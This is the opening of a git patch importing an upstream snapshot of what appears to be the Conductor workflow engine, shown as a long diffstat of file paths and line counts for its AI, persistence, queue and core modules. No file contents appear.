From a9cd7750f4837aad09c313288ff5501193262e48 Mon Sep 17 00:00:00 2001 From: wehub-resource-sync Date: Mon, 13 Jul 2026 12:37:56 +0800 Subject: [PATCH] chore: import upstream snapshot with attribution --- .claude/agents/docs-writer.md | 68 + .dockerignore | 47 + .gitattributes | 11 + .github/ISSUE_TEMPLATE/bug_report.md | 42 + .github/ISSUE_TEMPLATE/bug_report.yml | 43 + .github/ISSUE_TEMPLATE/config.yml | 5 + .github/ISSUE_TEMPLATE/documentation.md | 12 + .github/ISSUE_TEMPLATE/documentation.yaml | 24 + .github/ISSUE_TEMPLATE/feature_request.md | 20 + .github/ISSUE_TEMPLATE/feature_request.yaml | 29 + .github/pull_request_template.md | 21 + .github/release-drafter.yml | 39 + .github/workflows/ci.yml | 419 + .../workflows/debug-docker-credentials.yml | 34 + .github/workflows/deprecate-standalone.yml | 44 + .github/workflows/generate_gh_pages.yml | 25 + .github/workflows/publish-next.yaml | 113 + .github/workflows/publish.yml | 114 + .github/workflows/publish_build.yaml | 100 + .github/workflows/publish_s3.yaml | 84 + .github/workflows/release_draft.yml | 22 + .github/workflows/ui-next-ci.yml | 81 + .github/workflows/ui-next-integration-ci.yml | 103 + .gitignore | 58 + AGENTS.md | 178 + CHANGELOG.md | 45 + CLAUDE.md | 58 + CODE_OF_CONDUCT.md | 62 + CONTRIBUTING.md | 60 + LICENSE | 201 + OSSMETADATA | 1 + README.md | 396 + README.wehub.md | 7 + RELATED.md | 1 + ROADMAP.md | 61 + SECURITY.md | 15 + USERS.md | 18 + agentspan-server/build.gradle | 16 + ...tSpanEmbeddedEnvironmentPostProcessor.java | 56 + .../agentspan/AgentSpanPrincipalFilter.java | 68 + .../ConductorAgentSpanConfiguration.java | 142 + .../agentspan/EnvBackedCredentialStore.java | 114 + .../ai/agentspan/SkillMetadataDaoAdapter.java | 91 + .../agentspan/SkillPackageStoreAdapter.java | 69 + .../AgentSpanCompositeTaskStatusListener.java | 166 + ...ntSpanCompositeWorkflowStatusListener.java | 173 + ...tSpanListenerCoexistenceConfiguration.java | 111 + .../main/resources/META-INF/spring.factories | 2 + .../EnvBackedCredentialStoreTest.java | 92 + ...anCompositeWorkflowStatusListenerTest.java | 169 + ai/CONTRIBUTING.md | 627 + ai/JDBC_CONFIGURATION.md | 257 + ai/README.md | 1699 + ai/VECTORDB_CONFIGURATION.md | 331 + ai/build.gradle | 119 + ai/examples/01-chat-completion.json | 28 + ai/examples/02-generate-embeddings.json | 17 + ai/examples/03-image-generation.json | 21 + ai/examples/04-audio-generation.json | 18 + ai/examples/05-semantic-search.json | 35 + ai/examples/06-rag-basic.json | 41 + ai/examples/07-rag-complete.json | 96 + ai/examples/08-mcp-list-tools.json | 15 + ai/examples/09-mcp-call-tool.json | 18 + ai/examples/10-a2a-call-agent.json | 21 + ai/examples/10-mcp-ai-agent.json | 62 + ai/examples/11-a2a-get-agent-card.json | 15 + ai/examples/11-video-openai-sora.json | 22 + ai/examples/12-a2a-server-workflow.json | 23 + ai/examples/12-video-gemini-veo.json | 25 + ai/examples/13-image-to-video-pipeline.json | 34 + ai/examples/14-stabilityai-image.json | 22 + ai/examples/15-pdf-generation.json | 24 + ai/examples/16-llm-to-pdf-pipeline.json | 51 + ai/examples/17-web-search.json | 34 + ai/examples/18-code-execution.json | 34 + ai/examples/19-coding-agent.json | 78 + ai/examples/20-extended-thinking.json | 29 + ai/examples/21-web-search-research-agent.json | 70 + ai/examples/22-multi-turn-chain.json | 52 + ai/examples/23-a2a-streaming.json | 19 + ai/examples/24-a2a-push.json | 21 + ai/examples/25-a2a-server-multi-turn.json | 28 + ai/examples/26-a2a-cancel.json | 28 + ai/examples/27-a2a-multi-agent.json | 44 + ai/examples/28-a2a-llm-pick-skill.json | 35 + ai/examples/29-a2a-client-multi-turn.json | 42 + ai/examples/30-rag-sqlite-vec.json | 96 + ai/examples/README.md | 545 + .../conductoross/conductor/ai/AIModel.java | 235 + .../conductor/ai/AIModelProvider.java | 77 + .../conductoross/conductor/ai/LLMHelper.java | 909 + .../org/conductoross/conductor/ai/LLMs.java | 130 + .../conductor/ai/MimeExtensionResolver.java | 179 + .../conductor/ai/ModelConfiguration.java | 27 + .../conductor/ai/a2a/A2ACallbackResource.java | 209 + .../conductor/ai/a2a/A2AException.java | 30 + .../conductor/ai/a2a/A2ALogging.java | 75 + .../conductor/ai/a2a/A2AMetrics.java | 81 + .../conductor/ai/a2a/A2AResults.java | 124 + .../conductor/ai/a2a/A2AService.java | 677 + .../conductor/ai/a2a/AgentTask.java | 502 + .../conductor/ai/a2a/model/A2AMessage.java | 38 + .../conductor/ai/a2a/model/A2ATask.java | 39 + .../ai/a2a/model/AgentCapabilities.java | 26 + .../conductor/ai/a2a/model/AgentCard.java | 47 + .../ai/a2a/model/AgentInterface.java | 25 + .../conductor/ai/a2a/model/AgentProvider.java | 25 + .../conductor/ai/a2a/model/AgentSkill.java | 32 + .../conductor/ai/a2a/model/Artifact.java | 31 + .../conductor/ai/a2a/model/Part.java | 37 + .../ai/a2a/model/PushNotificationConfig.java | 43 + .../conductor/ai/a2a/model/TaskState.java | 71 + .../conductor/ai/a2a/model/TaskStatus.java | 29 + .../ai/a2a/server/A2AServerException.java | 38 + .../ai/a2a/server/A2AServerProperties.java | 66 + .../ai/a2a/server/A2AServerResource.java | 259 + .../ai/a2a/server/A2AStreamSink.java | 28 + .../ai/a2a/server/A2AWorkflowAgent.java | 555 + .../DocumentAccessDeniedException.java | 24 + .../ai/document/DocumentAccessPolicy.java | 468 + .../conductor/ai/document/DocumentLoader.java | 45 + .../ai/document/FileSystemDocumentLoader.java | 110 + .../ai/document/HttpDocumentLoader.java | 335 + .../ai/http/AIHttpClientConfiguration.java | 56 + .../ai/http/AIHttpClientProperties.java | 59 + .../conductor/ai/http/AIHttpClients.java | 59 + .../conductor/ai/http/RetryInterceptor.java | 182 + .../conductor/ai/mcp/JsonTextParser.java | 88 + .../conductor/ai/mcp/MCPService.java | 381 + .../ai/model/A2AAgentCardRequest.java | 35 + .../conductor/ai/model/A2ACallRequest.java | 94 + .../conductor/ai/model/A2ACancelRequest.java | 38 + .../conductor/ai/model/AudioGenRequest.java | 32 + .../conductor/ai/model/ChatCompletion.java | 122 + .../conductor/ai/model/ChatMessage.java | 53 + .../ai/model/EmbeddingGenRequest.java | 30 + .../model/GetConversationHistoryRequest.java | 54 + .../conductor/ai/model/ImageGenRequest.java | 40 + .../conductor/ai/model/IndexDocInput.java | 57 + .../conductor/ai/model/IndexedDoc.java | 36 + .../conductor/ai/model/LLMResponse.java | 45 + .../conductor/ai/model/LLMWorkerInput.java | 49 + .../ai/model/MCPListToolsRequest.java | 40 + .../ai/model/MCPToolCallRequest.java | 51 + .../ai/model/MarkdownToPdfRequest.java | 66 + .../conductor/ai/model/Media.java | 28 + .../ai/model/StoreEmbeddingsInput.java | 33 + .../conductor/ai/model/TextCompletion.java | 25 + .../conductor/ai/model/ToolCall.java | 35 + .../conductor/ai/model/ToolSpec.java | 35 + .../conductor/ai/model/VectorDBInput.java | 39 + .../conductor/ai/model/VideoGenRequest.java | 73 + .../ai/pdf/MarkdownToPdfConverter.java | 153 + .../conductor/ai/pdf/PdfDocumentRenderer.java | 792 + .../conductor/ai/pdf/PdfImageResolver.java | 105 + .../conductor/ai/pdf/PdfRenderContext.java | 160 + .../ai/providers/anthropic/Anthropic.java | 149 + .../anthropic/AnthropicChatModel.java | 383 + .../anthropic/AnthropicChatOptions.java | 76 + .../anthropic/AnthropicConfiguration.java | 75 + .../anthropic/api/AnthropicMessagesApi.java | 413 + .../ai/providers/azureopenai/AzureOpenAI.java | 173 + .../azureopenai/AzureOpenAIConfiguration.java | 63 + .../ai/providers/bedrock/Bedrock.java | 168 + .../bedrock/BedrockConfiguration.java | 83 + .../ai/providers/cohere/CohereAI.java | 132 + .../cohere/CohereAIConfiguration.java | 56 + .../ai/providers/cohere/CohereChatModel.java | 269 + .../providers/cohere/CohereChatOptions.java | 153 + .../cohere/CohereEmbeddingModel.java | 142 + .../ai/providers/cohere/api/CohereApi.java | 353 + .../ai/providers/gemini/GeminiChatModel.java | 397 + .../providers/gemini/GeminiChatOptions.java | 69 + .../ai/providers/gemini/GeminiGenAI.java | 60 + .../ai/providers/gemini/GeminiVertex.java | 254 + .../gemini/GeminiVertexConfiguration.java | 68 + .../ai/providers/gemini/GeminiVideoModel.java | 183 + .../ai/providers/gemini/api/GeminiApi.java | 483 + .../conductor/ai/providers/grok/Grok.java | 95 + .../providers/grok/GrokAIConfiguration.java | 58 + .../ai/providers/huggingface/HuggingFace.java | 109 + .../huggingface/HuggingFaceConfiguration.java | 57 + .../ai/providers/litellm/LiteLLM.java | 101 + .../litellm/LiteLLMConfiguration.java | 58 + .../ai/providers/mistral/MistralAI.java | 146 + .../mistral/MistralAIConfiguration.java | 60 + .../conductor/ai/providers/ollama/Ollama.java | 127 + .../providers/ollama/OllamaConfiguration.java | 64 + .../conductor/ai/providers/openai/OpenAI.java | 287 + .../openai/OpenAICompatChatModel.java | 246 + .../providers/openai/OpenAIConfiguration.java | 64 + .../openai/OpenAIHttpImageModel.java | 91 + .../openai/OpenAIResponsesChatModel.java | 308 + .../openai/OpenAIResponsesChatOptions.java | 69 + .../ai/providers/openai/OpenAIVideoModel.java | 215 + .../openai/api/OpenAIChatCompletionsApi.java | 320 + .../openai/api/OpenAIEmbeddingsApi.java | 91 + .../openai/api/OpenAIImageGenApi.java | 157 + .../openai/api/OpenAIResponsesApi.java | 441 + .../providers/openai/api/OpenAISpeechApi.java | 99 + .../providers/openai/api/OpenAIVideoApi.java | 277 + .../ai/providers/perplexity/PerplexityAI.java | 82 + .../perplexity/PerplexityAIConfiguration.java | 58 + .../ai/providers/stabilityai/StabilityAI.java | 212 + .../stabilityai/StabilityAIConfiguration.java | 56 + .../providers/stabilityai/StabilityAiApi.java | 226 + .../ai/sql/JDBCConnectionConfig.java | 76 + .../conductor/ai/sql/JDBCInput.java | 94 + .../conductor/ai/sql/JDBCInstanceConfig.java | 192 + .../conductor/ai/sql/JDBCProvider.java | 92 + .../conductor/ai/sql/JDBCTaskMapper.java | 63 + .../conductor/ai/sql/JDBCWorker.java | 216 + .../ai/tasks/mapper/AIModelTaskMapper.java | 183 + .../ai/tasks/mapper/AgentTaskMapper.java | 35 + .../mapper/AudioGenerationTaskMapper.java | 32 + .../tasks/mapper/CallMCPToolTaskMapper.java | 30 + .../tasks/mapper/ChatCompleteTaskMapper.java | 328 + .../tasks/mapper/GenEmbeddingsTaskMapper.java | 32 + .../tasks/mapper/GetEmbeddingsTaskMapper.java | 32 + .../mapper/ImageGenerationTaskMapper.java | 32 + .../ai/tasks/mapper/IndexTextTaskMapper.java | 32 + .../tasks/mapper/ListMCPToolsTaskMapper.java | 30 + .../tasks/mapper/PdfGenerationTaskMapper.java | 32 + .../tasks/mapper/SearchIndexTaskMapper.java | 32 + .../mapper/StoreEmbeddingsTaskMapper.java | 32 + .../tasks/mapper/TextCompleteTaskMapper.java | 32 + .../mapper/VideoGenerationTaskMapper.java | 37 + .../conductor/ai/tasks/worker/A2AWorkers.java | 94 + .../ai/tasks/worker/DocumentGenWorkers.java | 111 + .../conductor/ai/tasks/worker/LLMWorkers.java | 160 + .../conductor/ai/tasks/worker/MCPWorkers.java | 186 + .../ai/tasks/worker/VectorDBWorkers.java | 177 + .../conductor/ai/vectordb/VectorDB.java | 49 + .../conductor/ai/vectordb/VectorDBConfig.java | 21 + .../ai/vectordb/VectorDBInstanceConfig.java | 223 + .../ai/vectordb/VectorDBProvider.java | 96 + .../conductor/ai/vectordb/VectorDBs.java | 68 + .../ai/vectordb/mongodb/MongoDBConfig.java | 42 + .../ai/vectordb/mongodb/MongoVectorDB.java | 195 + .../ai/vectordb/pinecone/PineconeConfig.java | 36 + .../ai/vectordb/pinecone/PineconeDB.java | 217 + .../ai/vectordb/postgres/PostgresConfig.java | 52 + .../vectordb/postgres/PostgresVectorDB.java | 414 + .../ai/vectordb/sqlite/SqliteConfig.java | 68 + .../vectordb/sqlite/SqliteVecExtensions.java | 136 + .../ai/vectordb/sqlite/SqliteVectorDB.java | 389 + .../SqliteVectorDBAutoConfiguration.java | 96 + .../conductor/ai/video/AsyncVideoModel.java | 37 + .../conductor/ai/video/Video.java | 116 + .../conductor/ai/video/VideoGeneration.java | 51 + .../ai/video/VideoGenerationMetadata.java | 23 + .../conductor/ai/video/VideoMessage.java | 61 + .../conductor/ai/video/VideoModel.java | 41 + .../conductor/ai/video/VideoOptions.java | 95 + .../ai/video/VideoOptionsBuilder.java | 59 + .../conductor/ai/video/VideoPrompt.java | 82 + .../conductor/ai/video/VideoResponse.java | 74 + .../ai/video/VideoResponseMetadata.java | 79 + .../config/A2AServerEnabledCondition.java | 33 + .../config/AIIntegrationEnabledCondition.java | 28 + .../conductor/ai/AIModelProviderTest.java | 163 + .../ai/LLMHelperChatCompleteTest.java | 615 + .../conductor/ai/LLMHelperTest.java | 429 + .../conductoross/conductor/ai/LLMsTest.java | 82 + .../ai/a2a/A2ACallbackResourceTest.java | 171 + .../conductor/ai/a2a/A2ADurabilityTest.java | 282 + .../conductor/ai/a2a/A2AEndToEndTest.java | 178 + .../ai/a2a/A2AObservabilityTest.java | 78 + .../ai/a2a/A2ARealAgentIntegrationTest.java | 99 + .../conductor/ai/a2a/A2ASdkInteropTest.java | 273 + .../conductor/ai/a2a/A2AServiceTest.java | 310 + .../conductor/ai/a2a/AgentTaskTest.java | 242 + .../conductor/ai/a2a/EmbeddedA2AAgent.java | 304 + .../ai/a2a/server/A2ALoopbackTest.java | 226 + .../ai/a2a/server/A2AServerResourceTest.java | 166 + .../ai/a2a/server/A2AWorkflowAgentTest.java | 361 + .../ai/document/DocumentAccessPolicyTest.java | 474 + .../ExampleWorkflowValidationTest.java | 79 + .../ai/http/RetryInterceptorTest.java | 202 + .../integration/AIModelIntegrationTest.java | 1550 + ...ModelTaskMapperPreviousResponseIdTest.java | 451 + .../ai/mapper/AgentTaskMapperTest.java | 64 + .../mapper/GenEmbeddingsTaskMapperTest.java | 113 + .../mapper/GetEmbeddingsTaskMapperTest.java | 125 + .../ai/mapper/IndexTextTaskMapperTest.java | 150 + .../mapper/PdfGenerationTaskMapperTest.java | 134 + .../ai/mapper/SearchIndexTaskMapperTest.java | 150 + .../mapper/StoreEmbeddingsTaskMapperTest.java | 127 + .../ai/mapper/TextCompleteTaskMapperTest.java | 143 + .../conductor/ai/mcp/JsonTextParserTest.java | 335 + .../conductor/ai/models/ToolSpecTest.java | 65 + .../ai/pdf/DocumentGenWorkersTest.java | 219 + .../ai/pdf/MarkdownToPdfConverterTest.java | 1193 + .../ai/pdf/PdfImageResolverTest.java | 200 + .../ai/pdf/PdfRenderContextTest.java | 266 + .../AnthropicAdaptiveThinkingTest.java | 73 + .../AnthropicChatModelMediaTest.java | 128 + .../AnthropicChatModelReasoningTest.java | 209 + .../anthropic/AnthropicConfigurationTest.java | 66 + .../ai/providers/anthropic/AnthropicTest.java | 256 + .../AzureOpenAIConfigurationTest.java | 54 + .../azureopenai/AzureOpenAITest.java | 150 + .../bedrock/BedrockConfigurationTest.java | 102 + .../ai/providers/bedrock/BedrockTest.java | 126 + .../cohere/CohereAIConfigurationTest.java | 52 + .../ai/providers/cohere/CohereAITest.java | 162 + .../cohere/CohereChatModelMediaTest.java | 126 + .../ai/providers/gemini/GeminiApiTest.java | 104 + .../gemini/GeminiChatModelMediaTest.java | 113 + .../gemini/GeminiChatModelReasoningTest.java | 166 + .../gemini/GeminiVertexConfigurationTest.java | 62 + .../ai/providers/gemini/GeminiVertexTest.java | 203 + .../grok/GrokAIConfigurationTest.java | 59 + .../conductor/ai/providers/grok/GrokTest.java | 111 + .../HuggingFaceConfigurationTest.java | 62 + .../huggingface/HuggingFaceTest.java | 124 + .../mistral/MistralAIConfigurationTest.java | 59 + .../ai/providers/mistral/MistralAITest.java | 118 + .../ollama/OllamaConfigurationTest.java | 61 + .../ai/providers/ollama/OllamaTest.java | 120 + .../OpenAICompatChatModelMediaTest.java | 124 + .../openai/OpenAIConfigurationTest.java | 70 + .../openai/OpenAIResponsesChatModelTest.java | 187 + .../ai/providers/openai/OpenAITest.java | 278 + .../openai/api/OpenAIResponsesApiTest.java | 280 + .../PerplexityAIConfigurationTest.java | 59 + .../perplexity/PerplexityAITest.java | 113 + .../ai/sql/JDBCConnectionConfigTest.java | 167 + .../conductor/ai/sql/JDBCEndToEndTest.java | 357 + .../ai/sql/JDBCInstanceConfigTest.java | 274 + .../conductor/ai/sql/JDBCProviderTest.java | 146 + .../conductor/ai/sql/JDBCTaskMapperTest.java | 199 + .../ai/tasks/worker/A2AWorkersTest.java | 91 + .../ai/tasks/worker/LLMWorkersTest.java | 413 + .../ai/vectordb/MongoVectorDBTest.java | 166 + .../ai/vectordb/PostgresVectorDBTest.java | 384 + .../ai/vectordb/SqliteVecExtensionsTest.java | 87 + .../SqliteVectorDBAutoConfigurationTest.java | 99 + .../vectordb/SqliteVectorDBRoundTripTest.java | 114 + .../ai/vectordb/SqliteVectorDBTest.java | 264 + .../ai/vectordb/VectorDBProviderTest.java | 216 + .../conductor/ai/vectordb/VectorDBsTest.java | 167 + .../conductor/ai/video/VideoMemoryTest.java | 153 + .../conductor/ai/video/VideoModelTest.java | 137 + .../ai/video/VideoProviderMemoryTest.java | 219 + ai/src/test/resources/a2a/README.md | 68 + .../test/resources/a2a/durable-demo/README.md | 78 + .../a2a/durable-demo/durable_purchase.json | 23 + .../a2a/durable-demo/run-durable-demo.sh | 116 + .../a2a/durable-demo/seller_agent.py | 119 + ai/src/test/resources/a2a/echo_agent.py | 59 + .../test/resources/a2a/interop-demo/README.md | 58 + .../a2a/interop-demo/a2a_interop_echo.json | 27 + .../a2a/interop-demo/run-interop-demo.sh | 111 + ai/src/test/resources/ai-test-env.sh | 104 + ai/src/test/resources/media/melon7391.png | Bin 0 -> 3574 bytes amqp/build.gradle | 12 + .../contribs/queue/amqp/AMQPConnection.java | 391 + .../queue/amqp/AMQPObservableQueue.java | 874 + .../config/AMQPEventQueueConfiguration.java | 88 + .../amqp/config/AMQPEventQueueProperties.java | 313 + .../amqp/config/AMQPEventQueueProvider.java | 60 + .../queue/amqp/config/AMQPRetryPattern.java | 54 + .../queue/amqp/util/AMQPConfigurations.java | 40 + .../queue/amqp/util/AMQPConstants.java | 91 + .../queue/amqp/util/AMQPSettings.java | 357 + .../queue/amqp/util/ConnectionType.java | 18 + .../contribs/queue/amqp/util/RetryType.java | 20 + .../amqp/AMQPEventQueueProviderTest.java | 82 + .../queue/amqp/AMQPObservableQueueTest.java | 983 + .../contribs/queue/amqp/AMQPSettingsTest.java | 159 + annotations-processor/README.md | 1 + annotations-processor/build.gradle | 24 + .../src/example/java/com/example/Example.java | 25 + .../protogen/AbstractMessage.java | 134 + .../annotationsprocessor/protogen/Enum.java | 101 + .../protogen/Message.java | 141 + .../protogen/ProtoFile.java | 78 + .../protogen/ProtoGen.java | 133 + .../protogen/ProtoGenTask.java | 151 + .../protogen/types/AbstractType.java | 101 + .../protogen/types/ExternMessageType.java | 56 + .../protogen/types/GenericType.java | 72 + .../protogen/types/ListType.java | 101 + .../protogen/types/MapType.java | 126 + .../protogen/types/MessageType.java | 78 + .../protogen/types/ScalarType.java | 78 + .../protogen/types/TypeMapper.java | 115 + .../protogen/types/WrappedType.java | 90 + .../src/main/resources/templates/file.proto | 14 + .../main/resources/templates/message.proto | 8 + .../protogen/ProtoGenTest.java | 70 + .../src/test/resources/example.proto.txt | 12 + annotations/README.md | 8 + annotations/build.gradle | 5 + .../annotations/protogen/ProtoEnum.java | 26 + .../annotations/protogen/ProtoField.java | 36 + .../annotations/protogen/ProtoMessage.java | 51 + awss3-storage/README.md | 4 + awss3-storage/build.gradle | 22 + .../conductor/s3/config/S3Configuration.java | 55 + .../conductor/s3/config/S3Properties.java | 57 + .../s3/storage/S3PayloadStorage.java | 211 + .../s3/config/S3FileStorageConfiguration.java | 52 + .../s3/config/S3FileStorageProperties.java | 38 + .../conductor/s3/storage/S3FileStorage.java | 135 + ...itional-spring-configuration-metadata.json | 26 + awssqs-event-queue/README.md | 0 awssqs-event-queue/build.gradle | 16 + .../config/SQSEventQueueConfiguration.java | 122 + .../sqs/config/SQSEventQueueProperties.java | 90 + .../sqs/config/SQSEventQueueProvider.java | 65 + .../sqs/eventqueue/SQSObservableQueue.java | 502 + ...itional-spring-configuration-metadata.json | 27 + .../DefaultEventQueueProcessorTest.java | 160 + .../eventqueue/SQSObservableQueueTest.java | 179 + azureblob-storage/README.md | 45 + azureblob-storage/build.gradle | 8 + .../config/AzureBlobConfiguration.java | 34 + .../azureblob/config/AzureBlobProperties.java | 123 + .../storage/AzureBlobPayloadStorage.java | 230 + .../AzureBlobFileStorageConfiguration.java | 52 + .../AzureBlobFileStorageProperties.java | 38 + .../storage/AzureBlobFileStorage.java | 105 + ...itional-spring-configuration-metadata.json | 14 + .../storage/AzureBlobPayloadStorageTest.java | 158 + build.gradle | 232 + build_ui.sh | 11 + build_ui_next.sh | 16 + cassandra-persistence/build.gradle | 33 + .../config/CassandraConfiguration.java | 118 + .../cassandra/config/CassandraProperties.java | 174 + .../cache/CacheableEventHandlerDAO.java | 134 + .../config/cache/CacheableMetadataDAO.java | 165 + .../cassandra/config/cache/CachingConfig.java | 31 + .../cassandra/dao/CassandraBaseDAO.java | 289 + .../dao/CassandraEventHandlerDAO.java | 148 + .../cassandra/dao/CassandraExecutionDAO.java | 884 + .../dao/CassandraFileMetadataDAO.java | 134 + .../cassandra/dao/CassandraMetadataDAO.java | 451 + .../cassandra/dao/CassandraPollDataDAO.java | 43 + .../conductor/cassandra/util/Constants.java | 55 + .../conductor/cassandra/util/Statements.java | 604 + ...itional-spring-configuration-metadata.json | 36 + .../dao/CassandraEventHandlerDAOSpec.groovy | 98 + .../dao/CassandraExecutionDAOSpec.groovy | 451 + .../dao/CassandraMetadataDAOSpec.groovy | 233 + .../cassandra/dao/CassandraSpec.groovy | 70 + .../cassandra/util/StatementsSpec.groovy | 70 + common-persistence/build.gradle | 10 + .../conductor/dao/ExecutionDAOTest.java | 440 + .../com/netflix/conductor/dao/TestBase.java | 15 + common/build.gradle | 58 + .../annotations/protogen/ProtoEnum.java | 26 + .../annotations/protogen/ProtoField.java | 36 + .../annotations/protogen/ProtoMessage.java | 51 + .../ObjectMapperBuilderConfiguration.java | 35 + .../config/ObjectMapperConfiguration.java | 39 + .../common/config/ObjectMapperProvider.java | 67 + .../constraints/NoSemiColonConstraint.java | 59 + .../OwnerEmailMandatoryConstraint.java | 63 + .../TaskReferenceNameUniqueConstraint.java | 117 + .../constraints/TaskTimeoutConstraint.java | 86 + .../constraints/ValidNameConstraint.java | 72 + .../common/jackson/JsonProtoModule.java | 148 + .../conductor/common/metadata/Auditable.java | 96 + .../conductor/common/metadata/BaseDef.java | 57 + .../common/metadata/EnvironmentVariable.java | 46 + .../conductor/common/metadata/SchemaDef.java | 62 + .../common/metadata/acl/Permission.java | 22 + .../metadata/events/EventExecution.java | 201 + .../common/metadata/events/EventHandler.java | 564 + .../metadata/tasks/ExecutionMetadata.java | 234 + .../common/metadata/tasks/PollData.java | 115 + .../conductor/common/metadata/tasks/Task.java | 1126 + .../common/metadata/tasks/TaskDef.java | 617 + .../common/metadata/tasks/TaskExecLog.java | 100 + .../common/metadata/tasks/TaskResult.java | 364 + .../common/metadata/tasks/TaskType.java | 121 + .../common/metadata/workflow/CacheConfig.java | 42 + .../workflow/DynamicForkJoinTask.java | 104 + .../workflow/DynamicForkJoinTaskList.java | 44 + .../workflow/IdempotencyStrategy.java | 19 + .../metadata/workflow/RateLimitConfig.java | 70 + .../workflow/RerunWorkflowRequest.java | 77 + .../metadata/workflow/SkipTaskRequest.java | 71 + .../workflow/StartWorkflowRequest.java | 197 + .../metadata/workflow/StateChangeEvent.java | 54 + .../metadata/workflow/SubWorkflowParams.java | 201 + .../workflow/UpgradeWorkflowRequest.java | 69 + .../metadata/workflow/WorkflowClassifier.java | 71 + .../common/metadata/workflow/WorkflowDef.java | 551 + .../metadata/workflow/WorkflowDefSummary.java | 116 + .../metadata/workflow/WorkflowTask.java | 806 + .../conductor/common/model/BulkResponse.java | 85 + .../common/model/WorkflowMessage.java | 89 + .../common/run/ExternalStorageLocation.java | 50 + .../conductor/common/run/SearchResult.java | 58 + .../conductor/common/run/TaskSummary.java | 465 + .../conductor/common/run/Workflow.java | 575 + .../conductor/common/run/WorkflowSummary.java | 469 + .../common/run/WorkflowSummaryExtended.java | 62 + .../common/run/WorkflowTestRequest.java | 93 + .../common/utils/ConstraintParamUtil.java | 152 + .../conductor/common/utils/EnvUtils.java | 47 + .../common/utils/ExternalPayloadStorage.java | 82 + .../conductor/common/utils/SummaryUtil.java | 66 + .../conductor/common/utils/TaskUtils.java | 48 + .../common/validation/ErrorResponse.java | 84 + .../common/validation/ValidationError.java | 64 + .../executor/task/NonRetryableException.java | 32 + .../workflow/executor/task/TaskContext.java | 86 + .../conductor/ai/TokenUsageLog.java | 34 + .../conductor/common/Documented.java | 32 + .../conductor/common/JsonSchemaValidator.java | 54 + .../common/utils/StringTemplate.java | 124 + .../conductor/common/utils/TextUtils.java | 23 + .../tasks/AnnotatedSystemTaskWorker.java | 15 + .../conductor/model/SignalResponse.java | 31 + .../conductoross/conductor/model/TaskRun.java | 40 + .../conductor/model/WorkflowRun.java | 33 + .../model/WorkflowSignalReturnStrategy.java | 49 + .../conductor/model/WorkflowStatus.java | 55 + .../model/file/FileDownloadUrlResponse.java | 68 + .../conductor/model/file/FileHandle.java | 147 + .../file/FileIdToFileHandleIdConverter.java | 37 + .../file/FileUploadCompleteResponse.java | 72 + .../model/file/FileUploadRequest.java | 81 + .../model/file/FileUploadResponse.java | 126 + .../model/file/FileUploadStatus.java | 23 + .../model/file/FileUploadUrlResponse.java | 70 + .../model/file/MultipartCompleteRequest.java | 53 + .../model/file/MultipartInitResponse.java | 59 + .../conductor/model/file/StorageType.java | 25 + .../config/TestObjectMapperConfiguration.java | 28 + .../common/constraints/NameValidatorTest.java | 52 + .../common/events/EventHandlerTest.java | 51 + .../metadata/EnvironmentVariableTest.java | 36 + .../workflow/WorkflowClassifierTest.java | 93 + .../conductor/common/run/TaskSummaryTest.java | 43 + .../conductor/common/tasks/TaskDefTest.java | 158 + .../common/tasks/TaskResultTest.java | 85 + .../conductor/common/tasks/TaskTest.java | 289 + .../common/utils/ConstraintParamUtilTest.java | 351 + .../common/utils/SummaryUtilTest.java | 104 + .../workflow/SubWorkflowParamsTest.java | 133 + .../workflow/WorkflowDefValidatorTest.java | 388 + .../common/workflow/WorkflowTaskTest.java | 79 + .../src/test/resources/application.properties | 1 + conductor-clients/README.md | 14 + conductor_server.bat | 86 + conductor_server.ps1 | 99 + conductor_server.sh | 80 + core/build.gradle | 94 + .../netflix/conductor/annotations/Audit.java | 24 + .../netflix/conductor/annotations/Trace.java | 23 + .../annotations/VisibleForTesting.java | 24 + .../core/LifecycleAwareComponent.java | 47 + .../conductor/core/WorkflowContext.java | 60 + .../config/ConductorCoreConfiguration.java | 162 + .../core/config/ConductorProperties.java | 621 + .../core/config/SchedulerConfiguration.java | 75 + .../WorkflowMessageQueueConfiguration.java | 43 + .../WorkflowMessageQueueProperties.java | 77 + .../core/dal/ExecutionDAOFacade.java | 842 + .../dao/InMemoryWorkflowMessageQueueDAO.java | 80 + .../conductor/core/env/EnvVarLookup.java | 57 + .../core/env/EnvVariableEnvironmentDAO.java | 63 + .../core/env/NoopEnvironmentDAO.java | 47 + .../core/events/ActionProcessor.java | 23 + .../core/events/DefaultEventProcessor.java | 330 + .../core/events/DefaultEventQueueManager.java | 187 + .../core/events/EventQueueManager.java | 22 + .../core/events/EventQueueProvider.java | 33 + .../conductor/core/events/EventQueues.java | 69 + .../core/events/ScriptEvaluator.java | 459 + .../core/events/SimpleActionProcessor.java | 263 + .../queue/ConductorEventQueueProvider.java | 70 + .../queue/ConductorObservableQueue.java | 152 + .../queue/DefaultEventQueueProcessor.java | 232 + .../conductor/core/events/queue/Message.java | 141 + .../core/events/queue/ObservableQueue.java | 88 + .../exception/AccessForbiddenException.java | 20 + .../core/exception/ConflictException.java | 28 + .../core/exception/NonTransientException.java | 24 + .../core/exception/NotFoundException.java | 28 + .../exception/TerminateWorkflowException.java | 47 + .../core/exception/TransientException.java | 24 + .../execution/AsyncSystemTaskExecutor.java | 244 + .../core/execution/DeciderService.java | 1059 + .../core/execution/NotificationResult.java | 122 + .../core/execution/StartWorkflowInput.java | 216 + .../core/execution/WorkflowExecutor.java | 198 + .../core/execution/WorkflowExecutorOps.java | 2633 + .../execution/evaluators/ConsoleBridge.java | 51 + .../core/execution/evaluators/Evaluator.java | 25 + .../evaluators/GraalJSEvaluator.java | 40 + .../evaluators/JavascriptEvaluator.java | 38 + .../execution/evaluators/PythonEvaluator.java | 78 + .../evaluators/ValueParamEvaluator.java | 43 + .../execution/mapper/DecisionTaskMapper.java | 155 + .../execution/mapper/DoWhileTaskMapper.java | 102 + .../execution/mapper/DynamicTaskMapper.java | 157 + .../execution/mapper/EventTaskMapper.java | 73 + .../mapper/ExclusiveJoinTaskMapper.java | 60 + .../mapper/ForkJoinDynamicTaskMapper.java | 605 + .../execution/mapper/ForkJoinTaskMapper.java | 115 + .../core/execution/mapper/HTTPTaskMapper.java | 99 + .../execution/mapper/HumanTaskMapper.java | 73 + .../execution/mapper/InlineTaskMapper.java | 87 + .../core/execution/mapper/JoinTaskMapper.java | 76 + .../mapper/JsonJQTransformTaskMapper.java | 77 + .../mapper/KafkaPublishTaskMapper.java | 95 + .../execution/mapper/LambdaTaskMapper.java | 83 + 